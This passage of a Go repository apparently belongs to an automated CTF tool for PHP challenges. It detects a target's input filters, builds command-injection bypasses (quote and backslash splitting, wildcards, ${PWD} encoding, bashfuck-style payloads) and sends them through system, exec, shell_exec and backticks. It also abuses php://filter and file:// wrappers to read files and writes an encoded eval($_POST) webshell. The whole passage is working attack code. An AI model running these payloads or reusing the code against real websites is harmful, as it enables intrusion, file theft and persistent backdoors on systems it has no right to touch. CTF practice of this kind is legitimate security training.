| guolv = matches[1] 236 | fmt.Printf("发现过滤为: %s\n", guolv) 237 | } else { 238 | re = regexp.MustCompile(`preg_replace\('([^']+)'`) 239 | matches = re.FindStringSubmatch(cleanText) 240 | if len(matches) > 1 { 241 | guolv = matches[1] 242 | fmt.Printf("发现过滤为: %s\n", guolv) 243 | } 244 | 245 | } 246 | 247 | } else if !strings.Contains(cleanText, preg_match) { 248 | //无源码fuzz出可用字符 249 | label.SetText("无源码fuzz出可用字符") 250 | guolv = Fuzzpro(URL, i, m) 251 | 252 | } 253 | 254 | } 255 | 256 | func GP(URL string, canshu string, m string, command string) string { 257 | //这是一个根据参数节省重复写GET方式和POST方式的函数 258 | 259 | if m == "GET" { 260 | 261 | reURL := URL + "?" + canshu + "=" + command 262 | 263 | response, _ := http.Get(reURL) 264 | defer response.Body.Close() 265 | doc, _ := io.ReadAll(response.Body) 266 | result := RemoveHTMLTags(string(doc)) 267 | 268 | return result 269 | 270 | } else if m == "POST" { 271 | 272 | payload := []byte(canshu + "=" + command) 273 | 274 | response, _ := http.Post(URL, "application/x-www-form-urlencoded", bytes.NewBuffer(payload)) 275 | defer response.Body.Close() 276 | doc, _ := io.ReadAll(response.Body) 277 | result := RemoveHTMLTags(string(doc)) 278 | 279 | return result 280 | 281 | } 282 | return "error" 283 | } 284 | 285 | func REQUEST(URL string, canshu string, get_ string, post_ string) string { 286 | 287 | reURL := URL + "?" + canshu + "=" + get_ 288 | payload := []byte(canshu + "=" + post_) 289 | 290 | response, _ := http.Post(reURL, "application/x-www-form-urlencoded", bytes.NewBuffer(payload)) 291 | defer response.Body.Close() 292 | 293 | doc, _ := io.ReadAll(response.Body) 294 | result := RemoveHTMLTags(string(doc)) 295 | 296 | return result 297 | } 298 | -------------------------------------------------------------------------------- /script/six2one.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | import ( 4 | "bufio" 5 | "crypto/tls" 6 | "fmt" 7 | "io" 8 | "net/http" 9 | "regexp" 10 | "strings" 11 | ) 12 | 13 | var flag = []string{"flag", "fl4g", "FLAG", "flag.php", "fl36D.php", "FLAG.php", "FLAG.PHP", "/flag", "/flag.php", "/flag.txt", "/var/www/html/flag", "/var/www/html/flag.php", "flag.txt"} 14 | 15 | func Blacktest(guolv string, leixing string) (string, string) { 16 | 17 | com := "" 18 | char := "" 19 | //所有可用的系统命令遍历 20 | s := []string{"cat", "tac", "nl", "more", "wget", "grep", "tail", "flag", "less", "head", "sed", "cut", "awk", "strings", "od", "curl", "scp", "rm", "xxd", "mv", "cp", "pwd", "ls", "echo", "uniq", "sort", "%0a", "%09", "{$IFS}", "$IFS", "%0d", "."} 21 | if leixing == "s" { 22 | for _, h := range s { 23 | 24 | matches, _ := regexp.MatchString(guolv, h) 25 | if matches == false { 26 | com += h + " " 27 | } 28 | } 29 | } 30 | 31 | //所有可用的php函数遍历 32 | e := []string{"eval", "system", "shell_exec", "exec", "`", "echo", "fputs", "highlight_file", "show_source", "include", "assert", "flag", "php", "passthru", "popen", "proc_open", "pcntl_exec"} 33 | if leixing == "e" { 34 | for _, h := range e { 35 | 36 | matches, _ := regexp.MatchString(guolv, h) 37 | if matches == false { 38 | com += h + " " 39 | } 40 | } 41 | } 42 | 43 | //符号遍历 44 | for ch := 32; ch <= 63; ch++ { 45 | cha := fmt.Sprintf("%c", ch) 46 | matches, _ := regexp.MatchString(guolv, cha) 47 | if matches == false { 48 | char += cha 49 | } 50 | 51 | } 52 | 53 | for ch := 91; ch <= 126; ch++ { 54 | cha := fmt.Sprintf("%c", ch) 55 | matches, _ := regexp.MatchString(guolv, cha) 56 | if matches == false { 57 | char += cha 58 | } 59 | } 60 | 61 | return com, char 62 | } 63 | 64 | func Blackchuan(guolv string, command string, com string, char string) string { 65 | if strings.Contains(guolv, "flag") && !strings.Contains(guolv, "?") { 66 | strings.Replace(command, "flag", "f???", 1) 67 | } else if strings.Contains(guolv, "flag") && !strings.Contains(guolv, "*") { 68 | strings.Replace(command, "flag", "f*", 1) 69 | } 70 | 71 | if strings.Contains(char, "'") { 72 | if strings.Contains(com, "cat") { 73 | command = "ca''t flag" 74 | } 75 | } 76 | 77 | return command 78 | } 79 | 80 | func Blackguding(URL string, canshu string, m string, guolvleixing string, com string, char string, guolv string) string { 81 | 82 | response, _ := http.Get(URL) 83 | defer response.Body.Close() 84 | doc, _ := io.ReadAll(response.Body) 85 | yuanma := RemoveHTMLTags(string(doc)) 86 | 87 | if guolvleixing == "s" { 88 | 89 | var result1 = "flag" 90 | var duqu = true 91 | //result1是要cat的文件名 92 | var yubeicommand string 93 | 94 | if strings.Contains(com, "ls") && strings.Contains(char, "l") && strings.Contains(char, "s") { 95 | yubeicommand = "ls" 96 | result1 = ls(yubeicommand, URL, canshu, m, yuanma, com, char, guolv) 97 | } 98 | 99 | //使用单引号绕过 100 | if !strings.Contains(com, "ls") && strings.Contains(char, "'") && strings.Contains(char, "l") && strings.Contains(char, "s") { 101 | yubeicommand = "l''s" 102 | result1 = ls(yubeicommand, URL, canshu, m, yuanma, com, char, guolv) 103 | } 104 | 105 | //使用反斜线绕过 106 | if !strings.Contains(com, "ls") && strings.Contains(char, "\\") && yubeicommand != "l''s" && strings.Contains(char, "l") && strings.Contains(char, "s") { 107 | yubeicommand = "l\\s" 108 | result1 = ls(yubeicommand, URL, canshu, m, yuanma, com, char, guolv) 109 | } else { 110 | fmt.Println("无法读取文件名,默认读取flag") 111 | duqu = false 112 | } 113 | 114 | if duqu == false { 115 | 116 | for _, fl := range flag { 117 | if strings.Contains(guolv, fl) { 118 | 119 | if strings.Contains(char, "?") { 120 | 121 | if strings.Contains(char, "f") { 122 | strings.Replace(result1, fl, "f???", -1) 123 | } else if strings.Contains(char, "l") { 124 | strings.Replace(result1, fl, "?l??", -1) 125 | } else if strings.Contains(char, "a") { 126 | strings.Replace(result1, fl, "??a?", -1) 127 | } else if strings.Contains(char, "g") { 128 | strings.Replace(result1, fl, "???g", -1) 129 | } 130 | 131 | } else if strings.Contains(char, "*") { 132 | 133 | if strings.Contains(char, "f") { 134 | strings.Replace(result1, "flag", "f*", -1) 135 | } else if strings.Contains(char, "l") { 136 | strings.Replace(result1, "flag", "*l*", -1) 137 | } else if strings.Contains(char, "a") { 138 | strings.Replace(result1, "flag", "*a*", -1) 139 | } else if strings.Contains(char, "g") { 140 | strings.Replace(result1, "flag", "*g", -1) 141 | } 142 | 143 | } else if strings.Contains(char, "'") { 144 | 145 | strings.Replace(result1, "flag", "f''l''a''g", -1) 146 | 147 | } else if strings.Contains(char, "\\") { 148 | 149 | strings.Replace(result1, "flag", "f\\l\\a\\g", -1) 150 | 151 | } 152 | 153 | } 154 | } 155 | } 156 | 157 | dancom := strings.Fields(com) 158 | 159 | for _, dan := range dancom { 160 | 161 | if dan == "cat" || dan == "tac" || dan == "nl" { 162 | 163 | yubeicommand = dan 164 | huixian := cat(yubeicommand, URL, canshu, m, yuanma, result1) 165 | 166 | return huixian 167 | 168 | } else if strings.Contains(char, "c") && strings.Contains(char, "a") && strings.Contains(char, "t") && strings.Contains(char, "'") { 169 | 170 | yubeicommand = "c''a''t" 171 | huixian := cat(yubeicommand, URL, canshu, m, yuanma, result1) 172 | return huixian 173 | 174 | } else if strings.Contains(char, "c") && strings.Contains(char, "a") && strings.Contains(char, "t") && strings.Contains(char, "\\") { 175 | 176 | yubeicommand = "c\\a\\t" 177 | huixian := cat(yubeicommand, URL, canshu, m, yuanma, result1) 178 | return huixian 179 | 180 | } else if strings.Contains(char, "n") && strings.Contains(char, "l") && strings.Contains(char, "'") { 181 | yubeicommand = "n''l" 182 | huixian := cat(yubeicommand, URL, canshu, m, yuanma, result1) 183 | return huixian 184 | } else if strings.Contains(char, "n") && strings.Contains(char, "l") && strings.Contains(char, "\\") { 185 | yubeicommand = "n\\l" 186 | huixian := cat(yubeicommand, URL, canshu, m, yuanma, result1) 187 | return huixian 188 | } 189 | 190 | //上面写差不多了,后面对于其他函数没写,md不写了 191 | 192 | } 193 | 194 | } else if guolvleixing == "e" { 195 | 196 | dancom := strings.Fields(com) 197 | for _, eval := range dancom { 198 | 199 | if eval == "system" || eval == "exec" || eval == "passthru" { 200 | 201 | if !strings.Contains(char, "(") || !strings.Contains(char, ")") || !strings.Contains(char, ";") { 202 | 203 | fmt.Println("error") 204 | 205 | } else { 206 | 207 | command := evalcat(URL, canshu, m, yuanma, com, char, guolv) 208 | 209 | if strings.Contains(command, " ") && strings.Contains(char, "'") { 210 | command = "'" + command + "'" 211 | } else if strings.Contains(command, " ") && strings.Contains(char, "\"") { 212 | command = "\"" + command + "\"" 213 | } 214 | 215 | evalcom := eval + "(" + command + ");" 216 | result := GP(URL, canshu, m, evalcom) 217 | huixian := strings.Replace(result, yuanma, "", 1) 218 | huixian += "payload: " + command 219 | return huixian 220 | } 221 | 222 | } 223 | 224 | if (strings.Contains(char, "`") || eval == "shell_exec") && strings.Contains(com, "echo") { 225 | 226 | command := evalcat(URL, canshu, m, yuanma, com, char, guolv) 227 | 228 | if strings.Contains(command, " ") && strings.Contains(char, "'") { 229 | command = "'" + command + "'" 230 | } else if strings.Contains(command, " ") && strings.Contains(char, "\"") { 231 | command = "\"" + command + "\"" 232 | } 233 | 234 | kongge := []string{"%0a", "%09", " ", "%0d"} 235 | var evalcom string 236 | 237 | for _, kong := range kongge { 238 | if !strings.Contains(guolv, kong) { 239 | if strings.Contains(char, "`") { 240 | evalcom = "echo" + kong + "`" + command + "`;" 241 | } else if eval == "shell_exec" { 242 | 243 | evalcom = "echo" + kong + "shell_exec(" + command + ");" 244 | } 245 | break 246 | } 247 | 248 | } 249 | 250 | result := GP(URL, canshu, m, evalcom) 251 | huixian := strings.Replace(result, yuanma, "", 1) 252 | huixian += "payload: " + command 253 | return huixian 254 | } 255 | 256 | if eval == "highlight_file" || eval == "show_source" { 257 | 258 | for _, file := range flag { 259 | 260 | command := eval + "(" + file + ")" 261 | result := GP(URL, canshu, m, command) 262 | huixian := strings.Replace(result, yuanma, "", 1) 263 | huixian += "payload: " + command 264 | return huixian 265 | 266 | } 267 | 268 | } 269 | 270 | //剩余函数 "fputs", "include", "assert", "pcntl_exec", "popen", "proc_open", "assert","var_dump","print_r" 271 | 272 | } 273 | } 274 | return "error" 275 | } 276 | 277 | func Blackshoudong(com string, char string) string { 278 | duqu := []string{"cat", "tac", "nl", "more", "grep", "tail", "less", "head", "sed", "awk", "strings"} 279 | jianjieduqu := []string{"od", "xxd", "curl", "scp", "mv", "cp", "pwd"} 280 | var result string 281 | result = "可以直接使用这些命令读取文件: " 282 | for _, aaa := range duqu { 283 | if strings.Contains(com, aaa) { 284 | 285 | result += aaa 286 | } 287 | } 288 | result += "\n可以使用这些命令间接读取文件,详细请挨个查看命令用法: " 289 | for _, ccc := range jianjieduqu { 290 | if strings.Contains(com, ccc) { 291 | result += "ccc" 292 | } 293 | } 294 | 295 | result += "\n可以使用这些符号: " + char 296 | return result 297 | 298 | } 299 | 300 | func Pwd(URL string, canshu string, m string, com string) string { 301 | 302 | // 自定义 HTTP 客户端,跳过 TLS 证书验证 303 | customTransport := &http.Transport{ 304 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 305 | } 306 | client := &http.Client{Transport: customTransport} 307 | 308 | // 发起请求 309 | response, err := client.Get(URL) 310 | if err != nil { 311 | return "Error fetching URL: " + err.Error() 312 | } 313 | defer response.Body.Close() 314 | 315 | // 读取响应体 316 | doc, err := io.ReadAll(response.Body) 317 | if err != nil { 318 | return "Error reading response body: " + err.Error() 319 | } 320 | 321 | yuanma := RemoveHTMLTags(string(doc)) 322 | 323 | xiexian := "${PWD::${##}}" 324 | t := "${PWD:${##}${#}:${##}}" 325 | 326 | var command string 327 | 328 | if strings.Contains(com, "cat") { 329 | 330 | command = xiexian + "???" + xiexian + "??" + t + " " + "????.???" 331 | 332 | } else if strings.Contains(com, "tac") { 333 | 334 | command = xiexian + "???" + xiexian + t + "??" + " " + "????.???" 335 | 336 | } 337 | 338 | result := GP(URL, canshu, m, command) 339 | huixian := strings.Replace(result, yuanma, "", 1) 340 | huixian += "payload: " + command 341 | return huixian 342 | } 343 | 344 | func Replace(URL string, canshu string, m string, command string) string { 345 | 346 | response, _ := http.Get(URL) 347 | defer response.Body.Close() 348 | doc, _ := io.ReadAll(response.Body) 349 | yuanma := RemoveHTMLTags(string(doc)) 350 | 351 | if strings.Contains(yuanma, "preg_replace") { 352 | if strings.Contains(yuanma, "strtolower(\"\\\\1\")") { 353 | poc := "\\S*={${" + command + "}})" 354 | result := GP(URL, canshu, m, poc) 355 | return result 356 | } 357 | } 358 | 359 | return "error" 360 | } 361 | 362 | func Fewchar() string { 363 | //TODO:少量字符 364 | result := "" 365 | return result 366 | } 367 | 368 | func Weixieyi(URL string, guolv string, canshu string, m string, command string, RW string, xieru string) string { 369 | //TODO:php伪协议,包括include,file_put_contents 370 | 371 | mingling := []string{"php://", "file://", "data://text/plain,", "data://text/plain;base64,", "glob://", "phar://"} 372 | 373 | var resource string 374 | 375 | for _, file := range flag { 376 | matches, _ := regexp.MatchString(guolv, file) 377 | if matches == false { 378 | resource += fmt.Sprintf("/resource=%s", file) 379 | } 380 | } 381 | 382 | var canuse string 383 | 384 | //遍历mingling中可用的伪协议并存储在canuse参数中 385 | for _, fake := range mingling { 386 | matches, _ := regexp.MatchString(guolv, fake) 387 | if matches == false { 388 | canuse += fake 389 | } 390 | } 391 | 392 | //下面if是主要判断与执行部分 393 | 394 | if strings.Contains(canuse, "php") { 395 | //如果能用php伪协议 396 | 397 | if !strings.Contains(guolv, "input") { 398 | if m == "GET" { 399 | get_ := "php://input" 400 | post_ := "" 401 | result := REQUEST(URL, canshu, get_, post_) 402 | return result 403 | } 404 | } else if !strings.Contains(guolv, "filter") { 405 | 406 | php := fmt.Sprintf("php://filter/%s=", RW) 407 | 408 | var conv string 409 | 410 | if !strings.Contains(guolv, "base64") { 411 | 412 | if RW == "read" { 413 | 414 | conv = "convert.base64-encode" 415 | 416 | } else if RW == "write" { 417 | 418 | conv = "convert.base64-decode" 419 | 420 | } else if RW == "plus" { 421 | 422 | conv = "string.strip_tags|convert.base64-decode" 423 | 424 | } 425 | 426 | } else if !strings.Contains(guolv, "rot13") { 427 | 428 | if RW == "read" { 429 | 430 | conv = "string.rot13" 431 | 432 | } else if RW == "write" { 433 | 434 | conv = "string.rot13" 435 | 436 | } 437 | 438 | } else if !strings.Contains(guolv, "iconv") { 439 | 440 | if matched, err := regexp.MatchString("UCS-2", guolv); err == nil && !matched { 441 | conv = "convert.iconv.UCS-2LE.UCS-2BE" 442 | } else if matched, err = regexp.MatchString("UCS-4", guolv); err == nil && !matched { 443 | conv = "convert.iconv.UCS-4LE.UCS-4BE" 444 | } else if matched, err = regexp.MatchString("utf", guolv); err == nil && !matched { 445 | conv = "aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode" //没看懂,死马当活马医 446 | } 447 | 448 | } else if strings.Contains(guolv, "string") && RW == "plus" { 449 | conv = "string.%7%32ot13" 450 | } 451 | 452 | var payload string 453 | 454 | if RW == "read" { 455 | 456 | for _, file := range flag { 457 | matches, _ := regexp.MatchString(guolv, file) 458 | if matches == false { 459 | payload = php + conv + "/resource=" + file 460 | result := GP(URL, canshu, m, payload) 461 | 462 | //使用正则检测同时具有{}的行 463 | scanner := bufio.NewScanner(strings.NewReader(result)) 464 | re := regexp.MustCompile(`{.*}`) 465 | result1 := "" 466 | 467 | for scanner.Scan() { 468 | line := scanner.Text() 469 | if re.MatchString(line) { 470 | result1 += line + "\n" 471 | } 472 | } 473 | 474 | if result1 != "" { 475 | result1 += "payload:" + payload 476 | return result1 477 | } else { 478 | continue 479 | } 480 | 481 | } 482 | } 483 | 484 | } else { 485 | 486 | if strings.Contains(conv, "base64") { 487 | 488 | payload = php + conv + "/resource=a.php&" + xieru + "=PD9waHAgZXZhbCgkX1BPU1RbMV0pO2hpZ2hsaWdodF9maWxlKF9fRklMRV9fKTs/Pg==" // 489 | 490 | } else if strings.Contains(conv, "ot13") { 491 | 492 | payload = php + conv + "/resource=a.php&" + xieru + "=" // 493 | 494 | } else if strings.Contains(conv, "UCS-2") { 495 | 496 | payload = php + conv + "/resource=a.php&" + xieru + "=?" //a 497 | 498 | } else if strings.Contains(conv, "UCS-4") { 499 | 500 | payload = php + conv + "/resource=a.php&" + xieru + "=hp??;" //a 501 | 502 | } 503 | } 504 | 505 | result := GP(URL, canshu, m, payload) 506 | result += "payload:" + payload 507 | return result 508 | 509 | } 510 | 511 | } else if strings.Contains(canuse, "file") { 512 | 513 | for _, file := range flag { 514 | matches, _ := regexp.MatchString(guolv, file) 515 | if matches == false { 516 | payload := fmt.Sprintf("file://%s", file) 517 | result := GP(URL, canshu, m, payload) 518 | 519 | //使用正则检测同时具有{}的行 520 | scanner := bufio.NewScanner(strings.NewReader(result)) 521 | re := regexp.MustCompile(`{.*}`) 522 | result1 := "" 523 | 524 | for scanner.Scan() { 525 | line := scanner.Text() 526 | if re.MatchString(line) { 527 | result1 += line + "\n" 528 | } 529 | } 530 | 531 | if result1 != "" { 532 | result1 += "payload:" + payload 533 | return result1 534 | } else { 535 | continue 536 | } 537 | 538 | } 539 | } 540 | 541 | } else if strings.Contains(canuse, "data") { 542 | //未完待续 543 | } else if strings.Contains(canuse, "glob") { 544 | //暂时不会利用 545 | } else if strings.Contains(canuse, "phar") { 546 | //暂时不会利用 547 | } 548 | return "error" 549 | } 550 | -------------------------------------------------------------------------------- /script/system.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | "net/url" 9 | "regexp" 10 | "strings" 11 | 12 | "fyne.io/fyne/v2/widget" 13 | ) 14 | 15 | func Bashfuck(URL string, command string, guolv string, i string, m string, label *widget.Label, booL string) { 16 | fmt.Printf("这是一个system命令,我们需要利用linux终端的一些特性来完成\n") 17 | fmt.Printf("本函数基于探姬大佬的bashfuck工具进行二开,原项目地址:https://github.com/ProbiusOfficial/bashFuck\n") 18 | char := Fuzz(URL, m, i) 19 | re := regexp.MustCompile("[" + guolv + "]") 20 | char = re.ReplaceAllString(char, "") 21 | 22 | var rec string 23 | var req *http.Request 24 | client := &http.Client{} 25 | var err error 26 | 27 | fmt.Println("fuzz结果为:" + char) 28 | 29 | if strings.ContainsRune(char, '$') && strings.ContainsRune(char, '\'') && strings.ContainsRune(char, '0') && strings.ContainsRune(char, '1') && strings.ContainsRune(char, '2') && strings.ContainsRune(char, '3') && strings.ContainsRune(char, '4') && strings.ContainsRune(char, '5') && strings.ContainsRune(char, '6') && strings.ContainsRune(char, '7') && strings.ContainsRune(char, '\\') { 30 | 31 | rec = CommonOtc(command) 32 | fmt.Printf("POC为: " + rec + "\n") 33 | 34 | } else if strings.ContainsRune(char, '#') && strings.ContainsRune(char, '$') && strings.ContainsRune(char, '\'') && strings.ContainsRune(char, '(') && strings.ContainsRune(char, ')') && strings.ContainsRune(char, '0') && strings.ContainsRune(char, '1') && strings.ContainsRune(char, '<') && strings.ContainsRune(char, '\\') { 35 | 36 | rec = BashfuckX(command, "bit") 37 | fmt.Printf("POC为: " + rec + "\n") 38 | 39 | } else if strings.ContainsRune(char, '#') && strings.ContainsRune(char, '$') && strings.ContainsRune(char, '\'') && strings.ContainsRune(char, '(') && strings.ContainsRune(char, ')') && strings.ContainsRune(char, '0') && strings.ContainsRune(char, '<') && strings.ContainsRune(char, '\\') && strings.ContainsRune(char, '{') && strings.ContainsRune(char, '}') { 40 | 41 | rec = BashfuckX(command, "zero") 42 | fmt.Printf("POC为: " + rec + "\n") 43 | 44 | } else if strings.ContainsRune(char, '!') && strings.ContainsRune(char, '#') && strings.ContainsRune(char, '$') && strings.ContainsRune(char, '\'') && strings.ContainsRune(char, '(') && strings.ContainsRune(char, ')') && strings.ContainsRune(char, '<') && strings.ContainsRune(char, '\\') && strings.ContainsRune(char, '{') && strings.ContainsRune(char, '}') { 45 | 46 | rec = BashfuckX(command, "c") 47 | fmt.Printf("POC为: " + rec + "\n") 48 | 49 | } else if strings.ContainsRune(char, '!') && strings.ContainsRune(char, '$') && strings.ContainsRune(char, '&') && strings.ContainsRune(char, '\'') && strings.ContainsRune(char, '(') && strings.ContainsRune(char, ')') && strings.ContainsRune(char, '<') && strings.ContainsRune(char, '=') && strings.ContainsRune(char, '{') && strings.ContainsRune(char, '}') && strings.ContainsRune(char, '~') && strings.ContainsRune(char, '\\') && strings.ContainsRune(char, '_') { 50 | 51 | rec = BashfuckY(command) 52 | fmt.Printf("POC为: " + rec + "\n") 53 | 54 | } else { 55 | label.SetText("bashfuck失灵了呜呜呜,你自己额外去想构造吧") 56 | 57 | booL = "0" 58 | } 59 | 60 | newURL := fmt.Sprintf("%s?%s=%s", URL, i, url.QueryEscape(rec)) 61 | 62 | // 创建请求对象 63 | if m == "GET" { 64 | req, err = http.NewRequest("GET", newURL, nil) 65 | if err != nil { 66 | fmt.Println("Error creating GET request:", err) 67 | } 68 | resp, err := client.Do(req) 69 | if err != nil { 70 | fmt.Println("Error sending request:", err) 71 | 72 | } 73 | defer resp.Body.Close() 74 | 75 | body, err := io.ReadAll(resp.Body) 76 | if err != nil { 77 | fmt.Println("Error reading response body:", err) 78 | 79 | } 80 | cleanText := CleanText(URL) 81 | result := strings.Replace(RemoveHTMLTags(string(body)), cleanText, "", -1) 82 | label.SetText("URL为: " + newURL + "\n执行结果为: " + result) 83 | 84 | booL = "1" 85 | 86 | } else if m == "POST" { 87 | 88 | payload := []byte(i + "=" + command) 89 | 90 | // 发起 POST 请求 91 | resp, err := http.Post(URL, "application/x-www-form-urlencoded", bytes.NewBuffer(payload)) 92 | if err != nil { 93 | fmt.Println("发送 POST 请求失败:", err) 94 | booL = "0" 95 | } 96 | defer resp.Body.Close() 97 | 98 | // 读取响应 99 | respBody, err := io.ReadAll(resp.Body) 100 | if err != nil { 101 | fmt.Println("读取响应失败:", err) 102 | booL = "0" 103 | } 104 | 105 | // 输出响应 106 | 107 | label.SetText("payload:" + string(payload) + "执行结果为: " + RemoveHTMLTags(string(respBody))) 108 | 109 | } 110 | 111 | } 112 | --------------------------------------------------------------------------------